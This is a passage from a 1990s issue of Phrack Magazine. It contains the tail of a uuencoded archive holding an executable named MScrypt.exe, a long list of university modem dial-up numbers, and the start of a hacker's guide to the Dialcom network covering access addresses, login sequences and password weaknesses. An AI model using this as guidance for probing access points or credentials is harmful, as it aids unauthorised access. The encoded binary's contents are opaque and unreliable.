M\N?XG!T*/*_!+]GCJT.`WCY3+BSH1>39_%M<.3):21]Y='!@;/@"K95.,#)Sh
M`\4&Y@_PR=,C!G!G,=4-`F9J$.3Z=L4>X*3O'_#)?=7.L*[(Q=X#KS.:[U\\h
M//KX@=B&MW_HZ&SS!$-=.<!4OK[@8B(F/K:3[\/YO\U8,=&#*LF)X8T0OE*Bh
M`D;/"_8H^[H8!_&":,5AA1T1AH@@ZX]I)]BG]U,P:CE9>8[_[*MW+W^A]FQ`h
MWH#2+*[U(1GH^)`,KV`O8;+N!_!L-7X&SR(V7P?26G:!@,D:?+>%GC(A%ECSh
MRS+_D64@F_B80Q#:BL=0O('B441GDET_^KX4VFQ.3F.'YSD#4#:B'0''C6B@h
MTBE0\US)EX"6',B6)*\`XDB:I/_]3KQ")GM:QS\(?,Y_O88$OU=]]=W<6O4'h
MA<"AG#54J%/1\V:0$GPQEXOJ!!$?7'\14BK:Y\62C*`*_Z;XR1Q,3D0[@!'Gh
M!/YDO0<7>/\W@/AFW>`!DW![$,X;P@S/^/!1`F7PAX"?/+G"]V-IQ=W;AFW1h
M=KGN'PBX85-"6?6+Y\&^'CA7`'%`*HB#_!L=/HBY9YC4'V4/'#;%O.<=XBD\h
M^?3-1C?0#(>=?\!<0J_8BIS_T.0'.-O9O[OR"0.NIP_Y_K&FB\*!GQ4_^+Q_h
MV8`2W`:4=L`_^K>Y,#E=&5/KBN6U]Q1#_,2>=-*OH*1^6DK8`7PLX_72(36Sh
MTWUE\O7&(4D[X/6_$9$=)V?F20>$LBH\_0(W<7UGOD^;=M,FYX^H#X&):2[0h
M50*;@]EQ3'*P,^<"F>Z9G">R!-=W'REM+#7A"=Q9"2@MM2><5T3?'^UZ!M[3h
M.BC2_;WY]0PA$2XGT>P"`>@NJST@$D#[=0)CO_X.SH&/BY#4('(C+C7PB`]`h
M:"U@!O<6%]#Y@<&(?O$A^A,U!LWOWNY0LPLT?C!"8`G)D,^#ROP-;!XP&47Ih
M]F"$VS\(D:X6R-<CD,[]1O!M3O=(KSCZHP!TC_O;>@"'Q\S-\B(3:]/K2^R>h
M^^M7#OU((/UD@GY-T"^G!#=$"O1Z]0V2'+"BKWM$,P%I!FM](AFH/+U?CE!Dh
M%2DIMMR``!9D?:#7]5>CA2FLT%@FPAR0H9BOVP-5WMBP9_^C=0!RD_#1+(J=h
MX&@0$6&#-@NHX&Z01K&G.T`&S+/$9SJRPML@SH(!#,]'HRPXFH3P,H0W(3P,h
MX5T(+T(X'O5H%?D.M""(W9UO0)AU>1IA5ABZ_XS_5_2:&Z@/.O4PST4T2A"Wh
MZ`1"T16V84?]^@?%_;\^P?4MZT93[NB-*B:(B<EO1="J-'HK/<@%/@`_,`H4h
MWGW,`^S+P%Q#)7\?^RCBI%O.P9EQ<'M=`T21/%T,[,C[:B/]W57_COHQYOI7h
ML&3ZOP/OTO8>&Z+/O,=!GV[-GFB(!]GCQ$2T<#G$<!_%B1A;>J9U`QHI3OF-h
MZ2T*T!;)]G''"N'X;<>*X/AI27MBPYS]]RPR]`I[=%ZSP%[P1'Y"M:8'63O(h
M1=N:QGHZ")C_#=ASS';']PS`[%*8+\&L0`.FSQ(!)[?X_A,D>DWPCZ&$4*D2h
M@6G2\(,L;.2E9P:[=R\"=Q]JL#'XH47?@Q^V?R3WLW:]`1B^WHFZH):A1_>@h
M1UL@6C&^)N9RX;CD<GG;IH?"$C3)E)2`G#D"?Y>4S`,D.Z+9%^5240VLL9Y0h
M'6W9YD@GH)_'Y*N$NW:!'!3$4UW`NU'!QE+<$.+V?*NMN'4D^[J`(9S9@)BNh
MB'^*D$OZ%L>/NH<SJ48U%75`3P!HC@MH3:?$F$U._]OXCFY23X^C!S$C^+PAh
M;PN+HZ_V_8GO2[#[H;CN^+\GF2PI@N/+`N1SA,\T@&M3?#:F=&VGB_VOA]G3h
MS;=*@L)OCE7>\7".%=[Q<\;_W+,.LQYC'@_SC!QQH^LW0CZ"0<KAA8;KUCO,h
M5QJ'Z@%@OWN`3M5[E6=Y=.W\\H@QNV%_9+!/@L>`FO4]C+Y-<XA.=04_QZQ@h
MK,]6(V.%6/<"Z#--_*H`+WIBJ_Z`*(GZBL@S]/:/T$UIFR?2#AZ//IB)'1%Yh
M[N&P9(J^8'PZC:[KIJ@^DK>ILX#1O*X*ONN_+PFA!.Z-9>R-L%N,V9]A/E@Zh
MP/O:EJ;`'A\6#8-P?&?'LD;G$9G`<W\Y@,:1F-)DNH9-^OV"05('M_=*9"IOh
M>B9W/X-A;8_`M\0X6;7IC!Y2V<,H^^!)0/^_]<BMO=9=<4'$!":.'^09ED^Gh
MSA*DD2[>AX"X;KJP:(JA+NT%E.9T/C`#*MZ,]%7`[*ML`;(DOQ`>PA4-%2I%h
M7^*'9D$YCI\100M)/'UD`%,$J:9L5=\4Z8J0F(BBAXNG^N3X^K0^H\:-HK1.h
ML#HRZ.-^*>"<VC8VK6]Y>4I/?Z4]"YV1`@7F9VN"$_<R@G:]B9>I%8WN=.X7h
M@H$;LA%J9)V8WJWX2G^VS41V>MJ#88B.=GW"XT?_AMD-1!:E[0,#H!FU\2DNh
M,XJK9P2W8C^BP0T+IB\`9([(,$0)]D8A:@.S7&9J`U%FTI0HNPU.=QO)";X9h
MK\/8"G^+5I#H"M:YA-AC"4#:W"(6,,K@TA*(IK!)+MAL3([@\JDPX!.<YEX%h
M7!PJ#8B8VP.%C0K]@K/T_U.!>!V,1%]\\_]!1"G1UR^$/.6B:L1ZF-"!2.E_h
M-<]:SXS;+0N9Z"M!DTDXMJUP^QF`>_G;4-IM&.;HL].[YP3NI=(-8;L%L_'Mh
MH+Y?_,-L+V"V<PN:/M!8'M#`94`+>(G,FX:ZGD/6`H<)FDA))N3W=`W_CRX#h
M6^EV`!NG=DXYR]EH:6>C$9P-[L++$6VCV^NJ/L037YL6QY'*]17!17ZU);K;h
MYO].=AV28-(!GZ@>C8%BZP2-0S-DE96?]H?O_YWBDV:DE8/R`[E'9V`L)A$*h
M>_1?`1`MS$PV5@L@:=I$YIYJ7\Q99KN^4K8!JG0BM:GG3+G'L4[V[OXB!]V@h
M5JC^U_J['!3/9+%O$39),*[M.J)M2QW&#6/9"Y3-I,PO&$_B*,6EL%]/H'L\h
MW7Z^7SJK*4@#(IZ9>95U'U@&_]$8K!9'"DG/TBT'9R,9.>9A\JU!?,Z_,'/,h
MMFE.S[8R*+G+6<8"'#U<\`.*?2#RP>EA+LYOY%URIG7PA_N1?O]=(6<B]`>.h
MQ0(\[MNF0,5.3,DA>0RYF>O`L-LS;"E`P)W;9+M#$#",#JYKH8!B/=I.'#>6h
MDRI)&_N8:DP%]IW!ZV[3)\),U>T[/0*S`5K3`!.N5WF/\TKS=)&PL80Y78TSh
MDR^.QO9"7H#E+KE>`8]PAP,>[!.M(LR+8GV+^=?;4(16861\`>.F37A*$B)!h
M*<.8M*_'EES`W2D"REPAK:*ES9\"H.Z?#H(K;UKF?T2KH!!C&B83S@%T\`-"h
M4!&'FF[?8(\%O,R.V@']3Z#%Q9"GW:/_N1*J4V6_'QQ@`('CH0'F3S_Z_21;h
M6,3*9R?<];1]B$?W$=>CL[\?1AL@D>;M"T-R'O1.^0.UA_1`Y+TZ@+4-[!S.h
M'5,/>%SC\K2!D)_^-X!\.=OF'Q*7GX74;GS7_BFH%E"R]#/`7"36Q$S?S]X(h
MDJ;]`SG5]`J?\G\-D)=TVX335)R8GCE:2$@9R'.$Z$D#J'@CJ#K2*\L5<0-4h
M*^!P8G*"M'E0V<"^N_M)W+`PG!(X1:)<H9%RIF>7JTW<JIPLJ`L>X+4=</(`h
M<&D`N%SNKRYKW1Y`QJ"TS.0EQEU@;`A/.P*=8>R#^'RN($PTQO3%_2N@4D([h
MXD=,B$:&>"(?H1RZEL<:^LA@0!Y5GZW;`H7H/-Q@/L]3M#.!1=G'AT&`9<"Oh
M-;!/LP*M6QL4MX@&O>M8W[BD<^8J?1_B\L=OQ+[NMWJ%]):_Z%)'/KXD+;[Fh
MJ0#&VMY.D+5.8I,V#R)^H%DPM9EUP:/BU_54%_[5"T>Y_>#\`4AX8Y_N^O7Fh
MF!;!'X/E\_O"01B>(8&42QVVPO4LTEC'#!H?M@5#53O3=#_@@?H=B4#,#:;Th
M!V$W(,O76R)62M&R6*_W#2#-'$&:\0-HMLW]:#LNP^``]`+4-]"7LOV;EVDWh
M2+O'@S-NR1!+^;&:D3F=M5E\9%(J62W?=5VEZ*T#[(D:H%TD2U3NNLQ\CYH9h
M[:\;D(Q=_&)J[5L\H.ZLR.P,=^ZS:]7BZ:,GL>F+*:OF5-DS`E0U=*!D"6+Th
M#JH7=VFOM[K>*&[^_]'W3@]U:A1(?:7R\1#JLMM5N0U\Q/[R[`:S;L52]<,$h
MLA6!>\`3O>`$9&A\(+Y"Z_"=XWH#L>HK<L/2BNK3<V4WE+64J-#N=?7L"%^!h
M$#Y);H-Q<$+3"A=K"YI\%C1/#C!K:/<`=Q*?:W`EL8WX_W!#>KV^(YI3OG!;h
M;?I3?R$+?76WCU7LHWD*-(TK%4<_Q[`OP'[F]22!DK`@RGXT4(&6C]V<2,'&h
M"'#W9U@GMDE$<9T@8^R.@0F@_N54>'KG`(/2U4=;)GF[GW.XWQ7(OY6(C@2;h
MKE`DC/P<$#GT@?!;-3O-@<(@:'LQS7(^>G/?1?&!^1,S*?/!D2:JF;:\O^5^h
M><;:&4??&<WB;Y*Q1R8;YS^E8)/&#4H5,(7NGFX)^8ZFP-[?U=KK:ES<U=!'h
M$931"3K&OIZB2?\.]*LQI37CZSN/2>V./2+)ZYOK>7VU@2\W<7RG,=289$"@h
M0#&C]R(;[K^)`#\'B.N6G3I=GVG>C#J8T9L<550DP7SHH.3#(/\B5-8!*?:Dh
M08/J_O_7Y$Z+3@50M*.KBQ`>?*!QN16.JO2_+WVDL`XQ>@9.'(%RVEXN_ZS#h
MI49%WT'K"$1XY8,_4)X1*:)>;'WE=:6)J_K'FE7K\*E09TKW*%4JE)SO4`U^h
M1/\0P(@6C/!'K5M0[872AP,X`\N)]FK7Q?D;*8!:*!)M))@Q^BR/]<EU$.PVh
M,0-$HN9WWM.13F2B.P.?-5"`7N?:H(,']J?=ZC5T*2<&PBK_$:;WX.$/HV^/h
M/7#Z>MI(+L?3[S1(I<C3EV1P3W1\HJ,-K@]4/E7Z,Z#B.8`4&C*:K"M/XN5Sh
MUCZ0H]R<BZ<[#M9V4Y_3HY"N-Q$UC[XN6*@]X<#LH7/Y5J#GM)7@MDC;UELXh
M7_(AA7.TV-7%UWI/%Q&TU"[0;#"^'SUII,D*[C3(^ER:16+(MF>>N0TWH_3Wh
M\TQ(]SZ4@U$3YKEBHA1]SKL?6<*4NS'Z^.C2%R^S[UB&A>XG7A\PP$HJC87]h
M2:W0(%CJMRIM<I;7PR<06)2A:M^(@_=E$#/@+0K'4;MD=G8`%PV)8"R;8Q7Zh
MOR@@YNMQ3''TZ6(2<P3>@*)/D*YZXP4!A-#JH>'/3Y.,U-Q=1=H@W?3_YC2>h
MK6KP$_@(501_=A#@+6B9^5#LH$L6S6`L\*\!AJ%],K2)M06CIJN8B+V5O;O&h
MN@4I=09CE9%'!S\PV/`%>C?KV0,F:_`=OPNF&\7>5F,)5CW$1XNG;C!"QTCKh
MDAY`].W;11NY?2QQ#U*V4RHQ.>$8PG;=!83O;:X-P/^#68:9C:X=NSX4@-L/h
M$&\]=9&+O0=>AS??Q_/*8E-L.#*5=VF?X.K3J\L!9)*=O?T#?QZ!3:)/[JL=h
MJ9$.Q6M5XK68M3V=-CZR35$+6T.EQ4MT#+N@N[`G`,`$9SKA`*OCF4IW>TX7h
M8$:^47N`/1W1*X(H"48I;*:^!/FZ0_H<6)[OV+\%<_QOEXLH:&VD=WMK<WAKh
M+T_:;)P);^]:C5T+TO)B`GIX0"^/2]0RQ;3_A<B':;V;P&SSZ_OK#T)"U@?@h
M'^E\5U>:VL>KW_H+RKCDJXZST@207;3_S%*A')&:^0]H\.EEA1%<Z24_/0EBh
M+PG4?+::;I4N\R=KKZ[=A"W(=`M`=.T`FD??7`"QDQVXXP/WE3L*8A+JQ017h
M#/@#3*)[=2=S:3+&\G8?='<ZX-%%'UX.C'F9\ULAF)<_7R_PZ3JB)DCTXOW\h
M\G^U&/P$O-5<$`S#N8#2>75Z5=ISL/@K6."-<@QRVID_*6&<X7IU5_O`8UF?h
M(JY4G'T.TL'GL"-K'QZPH%/<%H>D%_H(@#W:>G5D<<ZO+/6^!RQ5T^O8/7G#h
M+G8/R!54GR/CM1?UL'8?+7CC]/0&`^R9K9[M^T`Z,6JO]()$%9#S26MD1]<Ch
M[Y&7!SV:D^>=&\#MZ9OO%:<Q1-%72D^/+#`E(:^NMNCT>/]#>C:T:U(-H;^Dh
M=..<[?UU>LL`(97-!UB2RA,;7<=P\:GH,YV0CN`)FN()2J+KY0^@2O$1I=!$h
M?WE'(7=>.TJ@Q]$$.">=Y5_N#/+BPZH#Q(WX/3,`;&O+ZQ1JGP'MB,PBY/HBh
MY/S^"-F(C6ENQ('1_1LO:E#(IWKB(L(UX2)^^(^UX>T&#JC['(;M[O#_-T'5h
M%Q``+^[X3R-^H`'V*SJP#C1W@QD)B_VU@J#-Y0ME?^5CS'^R`HZ=`GX^)^]`h
M#^=5"+NEZOO;2HFA@B4!W'"V"[P??Y)PJ?#I!&&@XG8%$CRI>K'PA</KBO/Dh
MG[(V1/9$_S<F&H!A+5<^%I%/M4)ZZLQ_FJ[`)/$C)<9N,:=K.4FHH@.]\NY1h
MNB817*,57#<R3?(,PAIY=O?VB[&19<8F<<>A;">609O#\VP!Z^C87NIUZ7$[h
M_/MF%4;2@/V^^8'1Y33$Q+][@,9TAPG:N;6&WO(36.#:9(&1YEORS(4CV$IVh
M6/425%-G&KD0C:WCM*EC1^8L43_@F,7A://HJ5><#/`0F@PBAB;#+9D+4_YIh
MWB&Z$90!&QF497@$3D8N<+*\Q,;\1JL*BB=0O`&ALS+^=4M8-(!@=-.I(*76h
M==N2:MJV94$R32M6;EBY>4&V!#GT+=R\<M.>14L7),JQ*4'&S(DS)TN03=..h
ME?MV[ELSTW4O%RZ$?A;Y#>]6@--PP8`#L*CO'/K5:%*F1;\F=6KTR3E@4P08h
M.'#@@`&V@04WE0^)AH8B9[60<L?8,"%#A@PBX18M_I?84`)CE>T%AN5H7``Rh
M*6#*).$!SR2!,0.^(!A`@,J^"#B#8``+*DDD2K=UV;)-88ROT+Q'N`,+PICFh
M:2`8P\;1$@@6>)#A)BR*QW`?TKK#>=SMQG0)$Z28VQUI6KIMP[H%F91N6#:6h
M6F$^A94NJA-DR;D@>29U"[>.^6;3LBWK@SG2F$XS<LOB3+9L%Y?J<@$6E>,Yh
MRWF?+AK$/LT[2CG_W;X1VZ0^+1GS[Y3#OD$:80ZN''8,V.8-?@Y8TV&LLD?#h
M6H,L4V3?VK7GGNK0ZOZ29(9]+DL%Q:S9^^YH!\'Z+L,R#P1E*W80^Q*</5>Qh
M)I1CC#9%NE53Q8D[`*/-CX/XFE8I=D<S+;8'-TOVNVB^K"A1JM#WE2M3>NT)h
M$V])O"E#&#M,F"G:2;EE%LYRW:(4\\S[#)N9=Y-G@UO+DA&"S=FB=8XT1.O/h
MTXFO?=2GC^2EVF!ZF`T5=%YL]K%KLKC=LG+-LGU[)WJ``[;YC&T).OW/8`^2h
M;%J[::9HL&_R5@`&SG.`BQBU#/%U;K6CAW-TXIM](R=WTQX3=N,I]=?N_`$0h
MFVTL1U:<CJQH&30H"-$RHE4&T7*WO='=G@4)]PW<-C6+MK<G@^\!S'F,M=ECh
MFS@5E8>=.X>5$QM+J/\'4$L!`@H!"@````8`4K>9:;N-E4+('0``_2T```L`h
M`````````````````````$U38W)Y<'0N97AE4$L%!@`````!``$`.0```/$=h
$``````#!h
`h
end
-=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=-
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 13 of 28
****************************************************************************
The Phrack University Dialup List
[We've been compiling all these for months now, and still have
hundreds more to add. If you know dialups for any other .EDU
sites or Universities elsewhere in the world that are on
the Internet, please mail them to us at phrack@well.com.
Please, Universities ONLY...this is a list to assist students. :) ]
-----------------------------------------------------------------------------
201-529-6731 RAMAPO.EDU
201-596-3500 NJIT.EDU
201-648-1010 RUTGERS.EDU
203-432-9642 YALE.EDU
205-895-6792 UAH.EDU
206-296-6250 SEATTLEU.EDU
206-552-5996 WASHINGTON.EDU
685-7724
7796
209-278-7366 CSUFRESNO.EDU
209-632-7522 CALSTATE.EDU
209-474-5784 CSUSTAN.EDU
523-2173
667-3130
723-2810
210-381-3681 PANAM.EDU
3590
210-982-0289 UTB.EDU
212-206-1571 NEWSCHOOL.EDU
229-5326
212-854-1812 COLUMBIA.EDU
1824
1896
3726
9924
212-995-3600 NYU.EDU
4343
213-225-6028 CALSTATELA.EDU
213-259-2732 OXY.EDU
213-740-9500 USC.EDU
214-368-1721 SMU.EDU
3131
215-359-5071 DCCC.EDU
215-436-2199 WCUPA.EDU
6935
215-489-0351 URSINIUS.EDU
215-572-5784 BEAVER.EDU
215-641-6436 MC3.EDU
215-204-1010 TEMPLE.EDU
9630
9638
215-889-1336 PSU.EDU
215-895-1600 DREXEL.EDU
5896
215-896-1318 HAVERFORD.EDU
1824
215-898-8670 UPENN.EDU
6184
0834
3157
216-368-8888 CWRU.EDU
217-333-4000 UIUC.EDU
3700
244-5109
4976
255-9000
219-237-4116 INDIANA.EDU
4117
4186
4187
4190
4413
4415
262-1082
481-6905
980-6553
6556
6866
6869
219-989-2900 PURDUE.EDU
301-403-4444 UMD.EDU
303-270-4865 COLORADO.EDU
447-1564
492-0346
1900
1949
1953
1968
1998
938-1283
303-458-3588 REGIS.EDU
303-556-4982 MSCD.EDU
623-0763
0774
892-1014
303-698-0515 DU.EDU
871-3319
3324
4770
309-438-8070 ILSTU.EDU
8200
309-677-3250 BRADLEY.EDU
310-769-1892 CALSTATE.EDU
310-985-9540 CSULB.EDU
312-362-1061 DEPAUL.EDU
312-413-3200 UIC.EDU
3212
312-753-0975 UCHICAGO.EDU
313-764-4800 MERIT.EDU
258-6811
313-487-4451 EMICH.EDU
314-883-7000 MISSOURI.EDU
315-443-1320 SYR.EDU
1330
3396
1045
317-285-1000 BSU.EDU
1003
1005
1019
1048
1064
1068
1070
1076
1077
1087
1088
1089
1090
1099
1107
1108
317-494-6106 PURDUE.EDU
496-2000
317-455-2426 INDIANA.EDU
973-8265
318-261-9662 USL.EDU
9674
319-335-6200 UIOWA.EDU
402-280-2119 CREIGHTON.EDU
404-727-8644 EMORY.EDU
404-894-2191 GATECH.EDU
2193
2195
407-722-2202 FIT.EDU
407-823-2020 UCF.EDU
407-835-4488 PBAC.EDU
408-425-8930 UCSC.EDU
408-554-5050 SCU.EDU
9652
408-924-1054 CALSTATE.EDU
409-294-1965 SHSU.EDU
409-568-6028 SFASU.EDU
410-329-3281 UMD.EDU
744-8000
333-7447
410-516-4620 JHU.EDU
5350
410-788-7854 UMBC.EDU
410-837-5750 UBALT.EDU
412-396-5101 DUQ.EDU
412-578-9896 CMU.EDU
268-6901
856-0815
412-621-5954 PITT.EDU
2582
3655
3720
8072
836-7123
9997
412-938-4063 CUP.EDU
413-538-2345 MTHOLYOKE.EDU
413-545-0755 UMASS.EDU
3161
3050
3056
5345
3100
3780
413-585-3769 SMITH.EDU
413-597-3107 WILLIAMS.EDU
415-333-1077 CALSTATE.EDU
415-338-1200 SFSU.EDU
2400
415-380-0000 STANFORD.EDU
416-492-0239 TORONTO.EDU
501-575-3150 UARK.EDU
3506
7254
7266
8690
502-588-7027 LOUISVILLE.EDU
6020
8999
503-245-5511 PCC.EDU
503-346-5975 UOREGON.EDU
2150
3536
503-370-2500 WILLAMETTE.EDU
503-725-3100 PDX.EDU
3144
3201
5220
5401
503-737-1513 ORST.EDU
1517
1560
1569
503-777-7757 REED.EDU
504-286-7300 UNO.EDU
504-334-1024 LSU.EDU
505-277-9990 UNM.EDU
5950
6390
505-646-4942 NMSU.EDU
508-798-0166 WPI.EDU
509-375-9326 WSU.EDU
510-643-9600 BERKELEY.EDU
510-727-1841 CSUHAYWARD.EDU
512-245-2631 SWT.EDU
512-471-9420 UTEXAS.EDU
475-9996
513-327-6188 WITTENBERG.EDU
513-556-7000 UC.EDU
517-336-3200 MSU.EDU
351-9640
518-276-2856 RPI.EDU
8898
8400
2857
2858
8990
518-435-4110 ALBANY.EDU
4160
519-725-5100 WATERLOO.EDU
601-325-4060 MSSTATE.EDU
2830
8348
602-435-3444 MARICOPA.EDU
602-965-7860 ASU.EDU
603-643-6300 DARTMOUTH.EDU
604-753-3245 MALPITA.EDU
606-622-2340 EKU.EDU
606-257-1232 UKY.EDU
1353
1361
1474
2836
4244
5627
258-1996
2400
1200
323-1996
2400
2700
609-258-2630 PRINCETON.EDU
609-896-3959 RIDER.EDU
610-683-3692 KUTZTOWN.EDU
612-626-1920 UMN.EDU
2460
9600
614-292-3103 OHIO-STATE.EDU
3112
3124
3196
614-593-9124 OHIOU.EDU
615-322-3551 VANDERBILT.EDU
3556
343-0446
1524
615-372-3900 TNTECH.EDU
615-974-3201 UTK.EDU
4282
6711
6741
6811
8131
616-394-7120 HOPE.EDU
617-258-7111 MIT.EDU
257-6222
617-287-4000 UMB.EDU
265-8503
617-353-3500 BU.EDU
4596
9118
9415
9600
617-373-8660 NEU.EDU
617-437-8668 NORTHEASTERN.EDU
617-495-7111 HARVARD.EDU
617-727-5920 MASS.EDU
619-292-7514 UCSD.EDU
436-7148
452-4390
4398
8280
8238
9367
453-9366
480-0651
534-5890
6900
6908
558-7047
7080
9097
619-594-7700 SDSU.EDU
619-752-7964 CSUSM.EDU
702-895-3955 UNLV.EDU
703-831-5393 RUNET.EDU
703-993-3536 GMU.EDU
707-664-8093 CALSTATE.EDU
822-6205
707-826-4621 HUMBOLDT.EDU
708-467-1500 NWU.EDU
713-749-7700 UH.EDU
7741
7751
714-364-9496 CALSTATE.EDU
714-773-3111 FULLERTON.EDU
526-0334
714-856-8960 UCI.EDU
716-273-2400 ROCHESTER.EDU
716-645-6128 BUFFALO.EDU
719-594-9850 UCCS.EDU
535-0044
801-581-5650 UTAH.EDU
8105
585-4357
5550
803-656-1700 CLEMSON.EDU
804-594-7563 CNU.EDU
804-924-0577 VIRGINIA.EDU
982-5084
805-549-9721 CALSTATE.EDU
643-6386
805-664-0551 CSUBAK.EDU
805-756-7025 CALPOLY.EDU
805-893-8400 UCSB.EDU
806-742-1824 TTU.EDU
808-946-0722 HAWAII.EDU
956-2294
810-939-3370 UMICH.EDU
812-855-4211 INDIANA.EDU
4212
9656
9681
944-8725
9820
945-6114
814-269-7950 PITT.EDU
7970
362-7597
7558
827-4486
814-863-0459 PSU.EDU
4820
9600
865-2424
816-235-1491 UMKC.EDU
1492
1493
6020
818-701-0478 CSUN.EDU
901-678-2834 MEMST.EDU
904-392-5533 UFL.EDU
904-646-2772 UNF.EDU
2735
906-487-1530 MTU.EDU
907-474-0772 ALASKA.EDU
789-1314
908-571-3555 MONMOUTH.EDU
908-932-4333 RUTGERS.EDU
909-595-3779 CSUPOMONA.EDU
909-595-5993 CALPOLY.EDU
598-7104
909-621-8233 HMC.EDU
909-621-8455 POMONA.EDU
8332
909-621-8361 CLAREMONT.EDU
8313
8108
8509
909-880-8833 CSUSB.EDU
913-864-5310 UKANS.EDU
897-8650
916-456-1441 CSUS.EDU
737-0955
916-752-7900 UCDAVIS.EDU
7920
7950
916-894-3033 CSUCHICO.EDU
919-681-4900 DUKE.EDU
919-759-5814 WFU.EDU
919-962-9911 UNC.EDU
-----------------------------------------------------------------------------
Canada
204-275-6100 umanitoba.ca
6132
6150
306-586-5550 University of Regina
306-933-9400 University of Saskatchewan
403-492-0024 University of Alberta
0096
3214
416-978-3959 University of Toronto
8171
418-545-6010 Universite du Quebec a Chicoutimi
418-656-7700 laval u
3131
5523
506-453-4551 University of New Brunswick
4560
4609
452-6393
514-285-6401 uquebec.ca
514-340-4449 polymtl.ca
4450
4951
343-2411
514-398-8111 McGill University
8211
8711
514-733-2394 Universite de Montreal
1271
0832
514-343-2411
7835
514-848-8800 concordia.ca
7494
8828
4585
8834
7370
519-661-3511 University of Western Ontario
3512
3513
519-252-1101 Windsor University
519-725-5100 University of Waterloo
1392
604-291-4700 simon fraser u
4721
5947
604-721-2839 univ of victoria
6148
604-822-9600 University of British Columbia
613-788-3900 Carleton University
564-5600
613-548-8258 Queen's University
545-0383
613-564-3225 University of Ottawa
5926
613-230-1439 York University
705-741-3350 Trent University
3351
4637
709-737-8302 Memorial Univ. of Newfoundland
807-346-7770 Lakehead University
819-569-9041 usherb.ca
821-8025
819-822-9723 bishop u
819-595-2028 Universite du Quebec a Hull
902-542-1585 acadiau.edu
902-425-0800 tuns.ca
420-7945
902-429-8270 Saint Mary's University
902-494-2500 Dalhousie University
8000
902-566-0354 University of Prince Edward Island
905-570-1889 McMaster University
1046
-----------------------------------------------------------------------------
The Rest of the World
31-40-435049 tue.nl
455215
430032
34-1-582-1941 Facultad de Odontologia
3-333-9954 Barcelona Polytechnic
8991 Univ of Barcelona
581-2091
691-5881 Polytechnic University
34-7-656-6553 Univ of Zaragosa
0108
6654
44-3-34-2755 st-andrews.ac.uk
44-71-413-0790 birkbeck college
44-524-843878 lancashire
44-785-214479 staffs.ac.uk
49-621-292-1020 uni-mannheim.de
121-0251
49-631-205-2150 uni-kl.de
3554
3629
3630
49-8421-5665 ku-eichstett.de
49-8452-70035 tu-muenchen.de
61-8-223-2657 Univ of Adelaide
61-9-351-9544 Curtin U
61-9-381-1630 uwa.edu.au
2200
3054
82-2-962 kaist.ac.kr
886-2-363-9529 NAT TECH U, TAIWAN
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 14 of 28
****************************************************************************
A L I T T L E A B O U T D I A L C O M
*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
by
Herd Beast
(hbeast@phantom.com)
Introduction
~~~~~~~~~~~
Dialcom is an interesting system for hackers for two reasons:
First, it is used by business people, reporters and many other world
wide, and it offers a variety of information services, from a
bulletin board to stock market updates and news services. Second,
Dialcom runs on Prime machines, so using Dialcom is a good way to
learn Prime. True, it's not the best, as access is generally restricted,
but it's better than, say, learning VMS from Information America.
In these days, where everyone seems to be so centered about the
Internet and the latest Unix holes, it's important to remember that the
information super-highway is not quite here, and many interesting things
are out there and not on the Internet. Phrack has always been a good place
to find out more about these things and places, and I wrote this article
after reading the Dialog articles in Phrack.
Well, gentle reader, I guess that my meaning-of-life crap quota is full,
so let's move on.
Accessing Dialcom and Logging In
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Dialcom is accessible world-wide. It offers connection to Tymnet, Sprintnet,
and other networks as well as dialin modems. Since I am not writing to
Washington people only, I will specify only the easiest methods -- Tymnet
and Sprintnet -- and some of the more interesting access methods.
Dialcom is basically a Primecom network. Each user has an account on
one or more of the systems connected to that network. To access Dialcom,
the user needs to access the machine his account is on. First, he logs
into a public data network and follows the steps required to connect to
a remote note. On Tymnet, this means getting to the "please log in:"
prompt, and on Sprintnet it's the famous '@' prompt.
For Tymnet, you must enter at the prompt: DIALCOM;<system number>
(eg, DIALCOM;57). The same goes for TYMUSA connection from outside
the USA.
For Sprintnet or other PADs, you must enter the correct NUA:
System # Sprintnet NUA Tymnet NUA
======== ============= =============
XX 3110 301003XX 3106 004551XX
(32, 34,
41 - 46,
50, 52,
57, 61,
63, 64)
It should be noted that Dialcom keeps its own X.25 network, Dialnet,
and the NUAs on it are those of the systems (connect to address "57"
for system 57).
Dialcom has other access methods, meant to be used from outside the
USA, but sometimes available from within as well.
One is a COMCO card, which is inserted into a reader connected to the
computer and the modem through a serial link. The user then calls a
special dial-up number, and can connect to Dialcom (or any other NUA).
The card contains a number of "tax units" which are deducted as the
connection goes through, until they are exhausted and the card is useless.
The user calls the dial-up and types in ".<CR>". The amount of tax units
on the card will then appear on the screen, and the user can connect to a
host. COMCO dial-ups:
Location Number
======================= ==============
Australia +61-02-2813511
Belgium +32-02-5141710
France +33-1-40264075
West Germany +49-069-290255
Hong Kong +852-5-8611655
Netherlands +31-020-6624661
Switzerland +41-022-865507
United Kingdom +45-01-4077077
USA (Toll Free) +1-800-777-4445
USA +1-212-747-9051
The other way is through Infonet. I will not turn this into an Infonet
guide, save to write the logon sequence needed to access Dialcom.
At the '#' prompt, enter 'C'. At the "Center:" prompt, enter "DC".
Dialcom NUAs are 31370093060XX, where XX is the system number.
Once the connection to a Dialcom system has been established, you will
be greeted by the Prime header:
Primecom Network 19.4Q.111 System 666
Please Sign On
>
And the '>' prompt. This is a limited prompt as most commands cannot
be issued at it, so you need to login.
Dialcom user id's are typically 3 alphabetic characters followed by
several digits. The password may contain any character except for
",;/*" or spaces, and my experience shows that they tend to be of
intermediate complexity (most will not be found in a dictionary, but
could be cracked).
Password security may become useless at this point, because the Dialcom
Prime systems allow ID to take both user id and password as arguments
(which some other Primes do not) and in fact, Dialcom tutorials tell
users to log on like this --
>ID HBT007 IMEL8
-- which makes ``shoulder surfing'' easier.
One you log on, you will see:
Dialcom Computer Services 19.4Q.111(666)
On At 14:44 07/32/94 EDT
Last On At 4:09 06/44/94 EDT
>
And again, the '>' prompt.
>off
Off At 14:45 07/32/94 EDT
Time used: 00h 00m connect, 00m 01s CPU, 00m 00s I/O.
Security at Dialcom
~~~~~~~~~~~~~~~~~~
As mentioned, while passwords are relatively secure, the manner in
which they are entered is usually not.
As for the accounts themselves, it's important to understand the
general way accounts exist on Dialcom. Dialcom users are usually
part of a business that has an ``account group'' on Dialcom. Each
